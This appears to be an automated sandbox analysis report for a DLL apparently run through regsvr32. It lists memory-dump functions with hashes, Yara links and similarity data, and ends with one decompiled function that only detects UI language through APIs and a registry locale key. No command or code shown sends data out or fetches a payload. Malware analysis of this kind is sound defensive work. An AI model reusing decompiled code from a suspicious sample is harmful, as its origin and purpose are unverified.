Function 0423E1F8, Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

>Z, xrefs: 0423E21C

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: >Z
API String ID: 0-2342695272
Opcode ID: 8d1f742a32db50f7dddfc35a7796f107023b2d8a4909f84100ef567bcb9ec99c
Instruction ID: db77f403e0d2fa8e5df74a310cf397c3d53345d6d1d8d5efcb62627fc538b676
Opcode Fuzzy Hash: 8d1f742a32db50f7dddfc35a7796f107023b2d8a4909f84100ef567bcb9ec99c
Instruction Fuzzy Hash: 0D41B272A183119BD304DF29C48486BFBE1FFC8718F494A6EF889A7250D774E905CB86

Uniqueness

Uniqueness Score: -1.00%

Function 042255FF, Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

\Lh, xrefs: 04225706

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \Lh
API String ID: 0-2235754405
Opcode ID: 63cd4f9c5a574e3e45a1960c735d5968b00aabc6b35dc1560b5b813faa8dd26e
Instruction ID: e584e93193d6ebf0fe152b47e61e91d63aab0c970c8bafb9753538791c5dd4e6
Opcode Fuzzy Hash: 63cd4f9c5a574e3e45a1960c735d5968b00aabc6b35dc1560b5b813faa8dd26e
Instruction Fuzzy Hash: C841BB71218342EFD758CE20C98482FBBE1FFC8308F004A1DF59592260EB75EA49CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0422E640, Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

B:}I, xrefs: 0422E6C4

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: B:}I
API String ID: 0-2889142627
Opcode ID: 6ed0f2fc26554ae44f1383b8ba90fd9ece13569b3829980cc3403a361e899453
Instruction ID: 20b568e5a6551d14ee67793a4b3626d10d79be1c1be92d6921d03effdcd21b5e
Opcode Fuzzy Hash: 6ed0f2fc26554ae44f1383b8ba90fd9ece13569b3829980cc3403a361e899453
Instruction Fuzzy Hash: 6241DC71618342EBD758CF20DA8582FBBE4FBD4718F00091DF581922A0D7B5AA09DF93

Uniqueness

Uniqueness Score: -1.00%

Function 04230ABA, Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

WLX, xrefs: 04230BA2

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: WLX
API String ID: 0-2077286540
Opcode ID: b94b1f32627560e7e3bebf5b4d80886b5e9b19d90dbb90a2e0b071273a2a2c24
Instruction ID: 7b75f44907112c592e8f22104d74ef29337cc8bedefe256fec813689bc286f61
Opcode Fuzzy Hash: b94b1f32627560e7e3bebf5b4d80886b5e9b19d90dbb90a2e0b071273a2a2c24
Instruction Fuzzy Hash: 6041E2B1D1120DEBDF05DFA5D94A8EEBBB5FB48318F208149E912B7220D3B54A55CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04227078, Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

'iY, xrefs: 04227118

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'iY
API String ID: 0-1691070665
Opcode ID: 6788c65911eecd76a1228675ca9b2fbe269b5cbae0b502254479bb4ad135f5f6
Instruction ID: a841498902145f3bfcdc3128818d431e55c8ebc62f01f1d459750d3159d84f30
Opcode Fuzzy Hash: 6788c65911eecd76a1228675ca9b2fbe269b5cbae0b502254479bb4ad135f5f6
Instruction Fuzzy Hash: 78413372E00219EBEF08DFA5D94A9EEFBB2FB44304F208059D111BB290D7B52A15CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04236187, Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

^, xrefs: 042361E6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 15f427db74853c52db19e36ecd5d1196a4b9b3c1a225ff2705a6343ab6a06753
Instruction ID: 982dd357123d7e311eb4834218d374b271fd716804ff8cc1eec330eb84db47a7
Opcode Fuzzy Hash: 15f427db74853c52db19e36ecd5d1196a4b9b3c1a225ff2705a6343ab6a06753
Instruction Fuzzy Hash: 693167B12193429FC718CF24958540FBBE5FBC4748F004A1DF485A6220D7B5EA1ACBD3

Uniqueness

Uniqueness Score: -1.00%

Function 0423CAD5, Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

P/, xrefs: 0423CB7E

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: P/
API String ID: 0-4116444305
Opcode ID: 6f020d937ebaa896c9d230a2bf1ecbcee9e07464a67b9e6fe3dda2eabbf40348
Instruction ID: fdd939404ec4a9aea272e97e68e4aeedf455e37f4937fbc0083ca78cab161533
Opcode Fuzzy Hash: 6f020d937ebaa896c9d230a2bf1ecbcee9e07464a67b9e6fe3dda2eabbf40348
Instruction Fuzzy Hash: 5931347190130AEFDF08CFA1CA0689EBBB1FF44304F108549E926A6220C3B59B61DF81

Uniqueness

Uniqueness Score: -1.00%

Function 04242B09, Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

Wm, xrefs: 04242BAF

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Wm
API String ID: 0-1953712011
Opcode ID: 5f458415f00c48274a736efb525796b6a242fc0a9122d131060991abe7e8c2f8
Instruction ID: 6f3cb084599b0de90ba53e8f51a83097779b9916a1a55fd1477ddd10fa31d07b
Opcode Fuzzy Hash: 5f458415f00c48274a736efb525796b6a242fc0a9122d131060991abe7e8c2f8
Instruction Fuzzy Hash: 8E21F071D01319EBDB599FE4D84A4DEBBB1FB40318F108699E42566250D3B50B88DF80

Uniqueness

Uniqueness Score: -1.00%

Function 1001929D, Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: bcf109f5de06b5c94f6bb42cf1b44ca8dbb3bfcebafd793729c585c81d35ca35
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: E0D15F73C0AAB30A8376C12D415862EEEE2AFC199531BC7E1DCD43F289D136DE8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 10018E7D, Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 58f509fdb222ca7060b2eae822090135517dfdc7c002ac52267cef539c7c6eb7
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 07D16073C0AAB30A8376C12D415852EEBE2AFC199531BC7E1DCD43F289D636DE8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 10018A71, Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: cc46d25ea22f0c970390981d75405525d0e25b6b0a86731603265a14af2b5516
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 2EC14F73C0AAF30A8375C12D455812AEFE2AFC169531BC7E1DCD43F28992369F8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 1001869D, Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: dcda9d5c94f77def7d8943a89e96ba339e92ee3075ebe02bffe06bb3663a938a
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 2AC14D73D0AAF30A8365C12D455812AEAE2AFC158432FC7A1DCD43F289D636DF8597D0

Uniqueness

Uniqueness Score: -1.00%

Function 04221CA1, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 093d82f95d62312768d893bf8c84c3e2e2046d03e20daec24e1e81ca69d6cf6d
Instruction ID: 95ad130c1200e26c4cd6e5aa590d74d797b6f99bd4a90b6d94b4cdaad904047b
Opcode Fuzzy Hash: 093d82f95d62312768d893bf8c84c3e2e2046d03e20daec24e1e81ca69d6cf6d
Instruction Fuzzy Hash: D15174B2219302AFC758DF21D98982FBBE1FBD4748F404A1CF19956221D7B59A09CF87

Uniqueness

Uniqueness Score: -1.00%

Function 0423FF58, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d082ac0396fbb71a4ca9d66c6c6c1b439d855de9badd23a319340f3bfce168b
Instruction ID: cf1c9d2d9ba11959cd856e538465ecff80bda6cfd830bf8de829e8f45f44c870
Opcode Fuzzy Hash: 5d082ac0396fbb71a4ca9d66c6c6c1b439d855de9badd23a319340f3bfce168b
Instruction Fuzzy Hash: 7B410EB1D1122DEBCF04DFA5D94A4DEBFB2FB48318F108199D521B6220C3B90A59DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04234244, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e89cb84dd8fa63864b63d4cf921de512c7c968c9f482bdb6f048739d92c7a5
Instruction ID: 24172fca760c0dc5b8d31a6ef80974f56d199bb64ac105adcf4334583da0c9cb
Opcode Fuzzy Hash: 37e89cb84dd8fa63864b63d4cf921de512c7c968c9f482bdb6f048739d92c7a5
Instruction Fuzzy Hash: 8E3178726183519FC305DF28848185BFBE0EB88658F454B6DF88AA7221D774EA09CB96

Uniqueness

Uniqueness Score: -1.00%

Function 04233D85, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d5b5b74808eb49daa8270ee7dfe51a587ad052fe83dd9d48b36d2eab0a3116
Instruction ID: cd24fc030988b1da6267fd598355579e0516eb629a07dca6f8bc6228780da70f
Opcode Fuzzy Hash: 69d5b5b74808eb49daa8270ee7dfe51a587ad052fe83dd9d48b36d2eab0a3116
Instruction Fuzzy Hash: 4F3178726183008FD318DF29C98540BBBE6FFC8718F044B2DE889A7214DB78EA05CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0423567B, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55cd74c2952393ab5aca3dee7201afe3819bdbfddab02328eb5f9b09f94cb42
Instruction ID: a81ce703781e2f9a14a71953f30cd00ce7b13a494939a01f484902b79f7137a3
Opcode Fuzzy Hash: f55cd74c2952393ab5aca3dee7201afe3819bdbfddab02328eb5f9b09f94cb42
Instruction Fuzzy Hash: 1F3127B2E10209EBDB58DFA5C98A8AEFBB1FB40314F248099D515B7210D3B46B559F80

Uniqueness

Uniqueness Score: -1.00%

Function 0422F0E9, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7bc40e7220c11a054e5cb1e3d04733d7eea9a3290a44af2851a921ba079d4ed
Instruction ID: 59fd2f05b234944edaebfe66e0f1624fc42bc6498f152bc30177195295df3c72
Opcode Fuzzy Hash: f7bc40e7220c11a054e5cb1e3d04733d7eea9a3290a44af2851a921ba079d4ed
Instruction Fuzzy Hash: CC211576E00209EBDF08CFE5D9099DEBBB2EB54314F20C09AE514AB290D7B55B54DF81

Uniqueness

Uniqueness Score: -1.00%

Function 04230EBC, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28b9a31d6d310fd66289eca8aff00d608e2121ecbf4137da26fc55f628ae5085
Instruction ID: aa1f08598cd268413e4f0eb49285b644ffbc66ebba0d37c23b5b3f5dd2f61575
Opcode Fuzzy Hash: 28b9a31d6d310fd66289eca8aff00d608e2121ecbf4137da26fc55f628ae5085
Instruction Fuzzy Hash: 70211271801219FBCF18DFA1CD498CFBFB4FF04354F108688E558A2220D3758A14DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0422EF0C, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0453756cfbe0a422653622112b7418f35eca55d4e05d609691c55542fdca0349
Instruction ID: 14b68a9d980adc9e700fc44d7f247b38c969a5095edc43d81dd10d3bc91f937c
Opcode Fuzzy Hash: 0453756cfbe0a422653622112b7418f35eca55d4e05d609691c55542fdca0349
Instruction Fuzzy Hash: 07210372C0120DABDB09DFE5CA4A5EFFBB5EB44204F608299D112B6220D3B54B059BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0422C5D8, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff3ba8f753cea4a216cf5286b6b65d773786d22712bd0b12a3c0018268a50f8
Instruction ID: 660d81a7d533445fbd06a027ba4ea6790cf71e4757decf9352f1a8dbd3f447ad
Opcode Fuzzy Hash: dff3ba8f753cea4a216cf5286b6b65d773786d22712bd0b12a3c0018268a50f8
Instruction Fuzzy Hash: 1521FDB5D0020DEBDB08DFE1C98A5EEBBB1BB54718F208088D525B6260D7B95B54CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0422F7F7, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1000AA3A, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 229
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000AA3A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t73;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				struct HINSTANCE__* _t81;
				signed int _t92;
				signed int _t94;
				unsigned int _t97;
				void* _t113;
				unsigned int _t115;
				signed short _t123;
				unsigned int _t124;
				_Unknown_base(*)()* _t131;
				signed short _t133;
				unsigned int _t134;
				intOrPtr _t143;
				void* _t144;
				int _t145;
				int _t146;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				int _t172;
				signed int _t176;
				void* _t177;
				CHAR* _t181;
				void* _t183;
				void* _t184;

				_t167 = __edx;
				_t184 = _t183 - 0x118;
				_t181 = _t184 - 4;
				_t73 =  *0x10057a08; // 0xce1c5b24
				_t181[0x118] = _t73 ^ _t181;
				_push(0x58);
				E10017BC1(E10027E56, __ebx, __edi, __esi);
				_t169 = 0;
				 *(_t181 - 0x40) = _t181[0x124];
				 *(_t181 - 0x14) = 0;
				 *(_t181 - 0x10) = 0;
				_t78 = GetModuleHandleA("kernel32.dll");
				 *(_t181 - 0x18) = _t78;
				_t79 = GetProcAddress(_t78, "GetUserDefaultUILanguage");
				if(_t79 == 0) {
					if(GetVersion() >= 0) {
						_t81 = GetModuleHandleA("ntdll.dll");
						if(_t81 != 0) {
							 *(_t181 - 0x14) = 0;
							EnumResourceLanguagesA(_t81, 0x10, 1, E1000A1E3, _t181 - 0x14);
							if( *(_t181 - 0x14) != 0) {
								_t97 =  *(_t181 - 0x14) & 0x0000ffff;
								_t145 = _t97 & 0x3ff;
								 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t97 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t145);
								 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t145);
								 *(_t181 - 0x10) = 2;
							}
						}
					} else {
						 *(_t181 - 0x18) = 0;
						if(RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019, _t181 - 0x18) == 0) {
							 *(_t181 - 0x44) = 0x10;
							if(RegQueryValueExA( *(_t181 - 0x18), 0, 0, _t181 - 0x20,  &(_t181[0x108]), _t181 - 0x44) == 0 &&  *(_t181 - 0x20) == 1) {
								_t113 = E1001815B( &(_t181[0x108]), "%x", _t181 - 0x1c);
								_t184 = _t184 + 0xc;
								if(_t113 == 1) {
									 *(_t181 - 0x14) =  *(_t181 - 0x1c) & 0x0000ffff;
									_t115 =  *(_t181 - 0x1c) & 0x0000ffff;
									_t146 = _t115 & 0x3ff;
									 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t115 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t146);
									 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t146);
									 *(_t181 - 0x10) = 2;
								}
							}
							RegCloseKey( *(_t181 - 0x18));
						}
					}
				} else {
					_t123 =  *_t79() & 0x0000ffff;
					 *(_t181 - 0x14) = _t123;
					_t124 = _t123 & 0x0000ffff;
					_t164 = _t124 & 0x3ff;
					 *(_t181 - 0x1c) = _t164;
					 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t124 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t164);
					 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale( *(_t181 - 0x1c));
					 *(_t181 - 0x10) = 2;
					_t131 = GetProcAddress( *(_t181 - 0x18), "GetSystemDefaultUILanguage");
					if(_t131 != 0) {
						_t133 =  *_t131() & 0x0000ffff;
						 *(_t181 - 0x14) = _t133;
						_t134 = _t133 & 0x0000ffff;
						_t172 = _t134 & 0x3ff;
						 *((intOrPtr*)(_t181 - 0x2c)) = ConvertDefaultLocale(_t134 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t172);
						 *((intOrPtr*)(_t181 - 0x28)) = ConvertDefaultLocale(_t172);
						 *(_t181 - 0x10) = 4;
					}
					_t169 = 0;
				}
				 *(_t181 - 0x10) =  &(1[ *(_t181 - 0x10)]);
				_t181[ *(_t181 - 0x10) * 4 - 0x34] = 0x800;
				_t181[0x105] = 0;
				_t181[0x104] = 0;
				if(GetModuleFileNameA(0x10000000, _t181, 0x105) != _t169) {
					_t143 = 0x20;
					E100174D0(_t169, _t181 - 0x64, _t169, _t143);
					 *((intOrPtr*)(_t181 - 0x64)) = _t143;
					 *(_t181 - 0x5c) = _t181;
					 *((intOrPtr*)(_t181 - 0x50)) = 0x3e8;
					 *(_t181 - 0x48) = 0x10000000;
					 *((intOrPtr*)(_t181 - 0x60)) = 0x88;
					E1000A1F9(_t181 - 0x3c, 0x10000000, 0xffffffff);
					 *(_t181 - 4) = _t169;
					if(E1000A2A9(_t181 - 0x3c, _t181 - 0x64) != 0) {
						E1000A2DF(_t181 - 0x3c);
					}
					_t176 = 0;
					if( *(_t181 - 0x10) <= _t169) {
						L23:
						 *(_t181 - 4) =  *(_t181 - 4) | 0xffffffff;
						E1000A8D0(_t181 - 0x3c);
						_t92 = _t169;
						goto L24;
					} else {
						while(1) {
							_t94 = E1000A803(_t143,  *(_t181 - 0x40), _t167, _t169, _t181[_t176 * 4 - 0x34]);
							if(_t94 != _t169) {
								break;
							}
							_t176 =  &(1[_t176]);
							if(_t176 <  *(_t181 - 0x10)) {
								continue;
							}
							goto L23;
						}
						_t169 = _t94;
						goto L23;
					}
				} else {
					_t92 = 0;
					L24:
					 *[fs:0x0] =  *((intOrPtr*)(_t181 - 0xc));
					_pop(_t170);
					_pop(_t177);
					_pop(_t144);
					return E100167D5(_t92, _t144, _t181[0x118] ^ _t181, _t167, _t170, _t177);
				}
			}

0x1000aa3a
0x1000aa3b
0x1000aa41
0x1000aa45
0x1000aa4c
0x1000aa52
0x1000aa59
0x1000aa6a
0x1000aa71
0x1000aa74
0x1000aa77
0x1000aa7a
0x1000aa88
0x1000aa8b
0x1000aa8f
0x1000ab5d
0x1000ac19
0x1000ac1d
0x1000ac31
0x1000ac34
0x1000ac3e
0x1000ac44
0x1000ac5c
0x1000ac68
